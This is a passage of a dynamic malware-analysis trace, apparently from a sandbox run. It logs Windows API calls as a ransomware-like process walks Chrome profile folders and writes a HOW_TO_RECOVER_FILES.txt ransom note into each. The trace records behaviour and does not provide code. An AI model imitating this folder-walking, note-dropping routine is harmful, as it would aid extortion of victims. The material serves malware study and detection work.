ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.247] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", lpFilePart=0x0) returned 0x43 [0208.247] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.247] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.247] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.247] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0208.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\safe browsing\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.249] GetFileType (hFile=0x828) returned 0x1 [0208.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.249] GetFileType (hFile=0x828) returned 0x1 [0208.249] WriteFile (in: hFile=0x828, lpBuffer=0x354b820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x354b820*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.250] CloseHandle (hObject=0x828) returned 1 [0208.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpFilePart=0x0) returned 0x47 [0208.250] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.251] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.251] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.251] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpFilePart=0x0) returned 0x47 [0208.251] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.252] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.252] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.252] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0208.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.323] GetFileType (hFile=0x828) returned 0x1 [0208.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.323] GetFileType (hFile=0x828) returned 0x1 [0208.323] WriteFile (in: hFile=0x828, lpBuffer=0x35f2048*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x35f2048*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.324] CloseHandle (hObject=0x828) returned 1 [0208.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", lpFilePart=0x0) returned 0x48 [0208.325] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.325] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 1 [0208.326] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 0 [0208.326] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", lpFilePart=0x0) returned 0x48 [0208.326] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.326] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.326] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 1 [0208.326] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.327] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0208.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules", lpFilePart=0x0) returned 0x58 [0208.327] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.327] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.328] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.328] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0208.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0208.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0208.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules", lpFilePart=0x0) returned 0x58 [0208.328] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.328] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.328] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.328] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0208.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0208.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0208.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0208.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\subresource filter\\unindexed rules\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.329] GetFileType (hFile=0x828) returned 0x1 [0208.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0208.329] GetFileType (hFile=0x828) returned 0x1 [0208.330] WriteFile (in: hFile=0x828, lpBuffer=0x3611ac8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3611ac8*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0208.331] CloseHandle (hObject=0x828) returned 1 [0208.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0208.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\subresource filter\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.331] GetFileType (hFile=0x828) returned 0x1 [0208.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.332] GetFileType (hFile=0x828) returned 0x1 [0208.332] WriteFile (in: hFile=0x828, lpBuffer=0x36153a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x36153a0*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.333] CloseHandle (hObject=0x828) returned 1 [0208.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpFilePart=0x0) returned 0x40 [0208.333] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.334] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.334] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 